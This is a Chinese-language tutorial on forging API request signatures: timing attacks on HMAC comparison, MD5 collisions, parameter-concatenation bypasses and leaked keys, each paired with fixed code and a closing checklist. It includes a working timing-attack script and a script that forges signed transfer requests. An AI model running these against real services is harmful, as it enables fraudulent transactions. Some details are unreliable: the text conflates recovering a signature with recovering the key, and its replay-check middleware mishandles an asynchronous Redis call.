签名算法伪造攻防

"参数都签了名,所以不可能被篡改"——这句话只对了一半。签名可以被伪造,方式可能是暴力破解密钥、利用时序侧信道,甚至构造特定碰撞值。

一、为什么需要签名

接口签名解决两个核心问题:

  1. 防篡改:攻击者不能改请求参数
  2. 防重放:攻击者不能重复发送同一个请求
正常请求:  GET /api/transfer?amount=100&to=alice
          ↓ 签名
          amount=100&to=alice  →  HMAC(secret, data)  →  sign=abc123
          ↓
          GET /api/transfer?amount=100&to=alice&sign=abc123

篡改请求:  GET /api/transfer?amount=99999&to=alice&sign=abc123
          ↓ 服务端验签
          HMAC(secret, "amount=99999&to=alice") ≠ abc123  →  拒绝 ✅

二、漏洞一:HMAC 时序攻击(Timing Attack)

2.1 漏洞描述

服务端比较 HMAC 值时使用"逐字节比较,遇到不等就立即返回"的写法。攻击者可以测量每次请求的响应时间,逐字节暴力还原出签名密钥。

2.2 漏洞代码

// VULNERABLE: 字符串比较存在时序差异
function verifySign(data, clientSign, secret) {
  const serverSign = crypto.createHmac('sha256', secret)
    .update(data).digest('hex');

  // ❌ 普通字符串比较:逐字节检查,遇到不等立即返回
  if (serverSign === clientSign) {
    return true;
  }
  return false;
}

// 更糟糕的显式逐字节比较
function compareSign(sign1, sign2) {
  if (sign1.length !== sign2.length) return false;
  for (let i = 0; i < sign1.length; i++) {
    if (sign1[i] !== sign2[i]) return false; // ❌ 提前 return
  }
  return true;
}

2.3 攻击原理

假设正确签名是 a4f2...(32 个十六进制字符),攻击者猜测第一个字符:

guess: sign[0] = '0'  → 响应 10ms(第一个字节就不等,立刻返回)
guess: sign[0] = 'a'  → 响应 15ms(第一个字节相等,继续比较第二个)
guess: sign[0] = 'f'  → 响应 10ms
...
guess: sign[0] = 'a'  → 响应 15ms  ✅ 第一个字节确定是 'a'

然后固定第一个字节,猜第二个字节,以此类推,32 个字符最多 32 × 16 = 512 次请求就还原出密钥。

2.4 攻击脚本

# timing_attack.py — 通过响应时间逐字节爆破签名
import requests, time, string

TARGET = 'http://target.example.com/api/transfer'
SECRET_LEN = 32  # HMAC-SHA256 是 64 个 hex 字符,这里简化

def time_request(sign):
    start = time.time()
    resp = requests.post(TARGET, json={
        'amount': 100, 'to': 'alice', 'sign': sign,
    })
    elapsed = time.time() - start
    return elapsed, resp.status_code

def crack_sign():
    sign = ''
    chars = '0123456789abcdef'

    for position in range(SECRET_LEN):
        base_times = []
        # 先测基准(前一个字节就错的情况)
        for _ in range(5):
            t, _ = time_request(sign + '0' + '0' * (SECRET_LEN - len(sign) - 1))
            base_times.append(t)

        best_char, best_time = '0', 0
        for c in chars:
            test_sign = sign + c + '0' * (SECRET_LEN - len(sign) - 1)
            times = []
            for _ in range(3):
                t, code = time_request(test_sign)
                if code == 200:
                    print(f'[+] 完全破解! sign={test_sign}')
                    return test_sign
                times.append(t)

            avg = sum(times) / len(times)
            if avg > best_time:
                best_time = avg
                best_char = c

        sign += best_char
        print(f'[+] position {position}: {best_char} (avg_time={best_time:.4f}s)')
        print(f'    current sign: {sign}')

    return sign

crack_sign()

2.5 修复:常量时间比较

// FIXED: 使用 crypto.timingSafeEqual 做常量时间比较
function verifySign(data, clientSign, secret) {
  const serverSign = crypto.createHmac('sha256', secret)
    .update(data).digest();  // Buffer 类型

  const clientBuf = Buffer.from(clientSign, 'hex');

  // ✅ timingSafeEqual 在常量时间内完成比较,不管从哪个位置开始不同
  if (serverSign.length !== clientBuf.length) return false;
  return crypto.timingSafeEqual(serverSign, clientBuf);
}

// 也可以用这个万能模板
function constantTimeCompare(a, b) {
  if (a.length !== b.length) return false;
  let diff = 0;
  for (let i = 0; i < a.length; i++) {
    diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
  }
  return diff === 0;
}

三、漏洞二:MD5 / SHA-1 碰撞

3.1 漏洞描述

签名算法使用了已被破解的 MD5 或 SHA-1,攻击者可以构造两个不同的内容产生相同的哈希值(碰撞)。

3.2 漏洞代码

// VULNERABLE: 用 MD5 做签名(不安全)
function generateSign(params, secret) {
  const sortedKeys = Object.keys(params).sort();
  const str = sortedKeys.map(k => `${k}=${params[k]}`).join('&');
  // ❌ MD5 已被证明存在实际碰撞攻击
  return crypto.createHash('md5').update(str + secret).digest('hex');
}

// 攻击者找到两个不同的 params 生成相同的 sign
// 正常:  paramsA → signX  → 请求通过
// 篡改:  paramsB → signX  → 也通过(碰撞!)

3.3 修复:升级到 SHA-256 + HMAC

// FIXED: 用 HMAC-SHA256,而不是 MD5(secret + data)
function generateSign(params, secret) {
  const sortedKeys = Object.keys(params).sort();
  const str = sortedKeys.map(k => `${k}=${params[k]}`).join('&');

  // ✅ HMAC 即使底层用了有问题的哈希(如 MD5),只要密钥保密就是安全的
  // 但最好还是用 SHA-256
  return crypto.createHmac('sha256', secret).update(str).digest('hex');
}

// 特别注意:不要用这种写法
// crypto.createHash('sha256').update(secret + data).digest()  ❌
// 要用 HMAC:
// crypto.createHmac('sha256', secret).update(data).digest()   ✅

四、漏洞三:签名参数位置与拼接问题

4.1 场景一:排序不一致

// 客户端签名
const client = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&');
sign = HMAC(secret, client);

// 服务端签名(如果服务端没排序!)
const server = Object.keys(params).map(k => `${k}=${params[k]}`).join('&');
// ❌ 两端 key 顺序不一致 → 验签失败
// 更糟的是:如果服务端排序了但攻击者找到了不排序的接口
// 攻击者可以通过参数顺序绕签名

4.2 场景二:空值/特殊字符绕过

// VULNERABLE: 参数拼接没处理特殊字符
// 客户端: sign = HMAC(secret, "amount=100&to=alice")

// 攻击者添加一个没参与签名的参数
GET /api/transfer?amount=100&to=alice&sign=xxx&debug=true
                                  // debug=true 被服务端处理但没参与签名

// 修复:所有非 sign 参数必须参与签名
const signParams = Object.keys(params)
  .filter(k => !['sign', 'timestamp'].includes(k))  // sign 自己排除
  .sort()
  .map(k => {
    const v = String(params[k]).replace(/=/g, '%3D').replace(/&/g, '%26');
    return `${k}=${v}`;
  })
  .join('&');

4.3 场景三:重复参数 + 数组绕过

// VULNERABLE: 重复参数签名只签了一个值
// 攻击者: ?amount=100&amount=99999&sign=xxx&sign=yyy
// 服务端可能取最后一个值 99999 来处理,但签名用的是 100

// 修复:签名时把重复参数全部收集成数组再排序
function normalizeParams(params) {
  const result = {};
  for (const key of Object.keys(params).sort()) {
    if (['sign', 'timestamp'].includes(key)) continue;
    const value = params[key];
    if (Array.isArray(value)) {
      result[key] = value.map(String).sort().join(',');
    } else {
      result[key] = String(value);
    }
  }
  return result;
}

五、漏洞四:签名密钥泄露

5.1 常见泄露途径

  1. 客户端硬编码:APP/前端 JS 里直接写着 secret
  2. 代码仓库泄露:开发者把含密钥的配置文件 commit 到 GitHub
  3. 日志打印:签名时把密钥打到了日志里
  4. 环境变量未隔离:测试环境密钥和生产环境一样

5.2 攻击

如果密钥泄露,整个签名机制形同虚设:

import hmac, hashlib, requests

SECRET = 'LEAKED_SECRET_FROM_JS'  # 从前端源码里扒出来的

def make_sign(params):
    raw = '&'.join(f'{k}={params[k]}' for k in sorted(params.keys()))
    return hmac.new(SECRET.encode(), raw.encode(), hashlib.sha256).hexdigest()

# 伪造任意签名
payload = {'amount': 99999, 'to': 'attacker', 'timestamp': '...'}
payload['sign'] = make_sign({k: v for k, v in payload.items() if k != 'sign'})

requests.post('http://target/api/transfer', json=payload)
# 完美通过验签

5.3 修复

  • 签名密钥只存在于服务端,绝不下发
  • 用 KMS(密钥管理服务)托管密钥
  • 日志脱敏,禁止打印密钥、签名、完整请求体
  • 代码仓库加 pre-commit hook 扫描敏感信息

六、安全签名实现标准

6.1 推荐实现

const crypto = require('crypto');
const SECRET = process.env.SIGN_SECRET; // ✅ 只在服务端,从环境变量读

function buildSignString(params) {
  return Object.keys(params)
    .filter(k => !['sign'].includes(k))
    .sort()
    .map(k => {
      let v = params[k];
      if (v === undefined || v === null) v = '';
      if (typeof v === 'object') v = JSON.stringify(v);
      // ✅ URL 编码特殊字符
      return `${encodeURIComponent(k)}=${encodeURIComponent(String(v))}`;
    })
    .join('&');
}

function sign(params) {
  const data = buildSignString(params);
  return crypto.createHmac('sha256', SECRET).update(data).digest('base64url');
}

function verify(params, clientSign) {
  const data = buildSignString(params);
  const expected = crypto.createHmac('sha256', SECRET).update(data).digest();
  const received = Buffer.from(clientSign, 'base64url');
  // ✅ 常量时间比较
  if (expected.length !== received.length) return false;
  return crypto.timingSafeEqual(expected, received);
}

module.exports = { sign, verify };

6.2 签名验证中间件

function signatureMiddleware(req, res, next) {
  const clientSign = req.headers['x-signature'];
  const timestamp = req.headers['x-timestamp'];

  if (!clientSign || !timestamp) {
    return res.status(401).json({ error: '缺少签名' });
  }

  // ✅ 防重放:时间戳超过 5 分钟拒绝
  const now = Math.floor(Date.now() / 1000);
  if (Math.abs(now - parseInt(timestamp)) > 300) {
    return res.status(401).json({ error: '请求已过期' });
  }

  // 构造要签名的内容(请求体 + timestamp)
  const bodyStr = JSON.stringify(req.body);
  const data = { body: bodyStr, timestamp };

  if (!verify(data, clientSign)) {
    return res.status(401).json({ error: '签名无效' });
  }

  // ✅ 防重放:缓存已用的 timestamp 5 分钟
  const replayKey = `sign:replay:${clientSign}`;
  const isReplay = redis.set(replayKey, '1', 'NX', 'EX', 300);
  if (!isReplay) {
    return res.status(401).json({ error: '请求已使用过' });
  }

  next();
}

七、签名安全清单

检查项 推荐值
算法 HMAC-SHA256 或 HMAC-SHA3
避免 MD5、SHA-1、纯 hash(data + key) 拼接
比较函数 crypto.timingSafeEqual
密钥长度 ≥ 256 bit(HMAC-SHA256 至少 32 字节)
密钥位置 只在服务端,用 KMS 托管
参数规范化 排序 + URL 编码 + 过滤 sign 本身
防重放 时间戳 + Redis 记录已用签名
传输 HTTPS + 签名,双重保护

八、总结

签名机制的安全链条是:哈希算法安全 → HMAC 构造正确 → 密钥保密 → 比较函数常量时间。任何一环出问题,签名都可以被绕过。

最容易踩的三个坑:

  1. 字符串直接比较sign1 === sign2)→ 时序攻击
  2. 密钥下发到客户端 → 签名形同虚设
  3. 参数拼接不规范 → 参数绕过

安全签名不是加一行代码就完事的,它是一个完整的防御体系。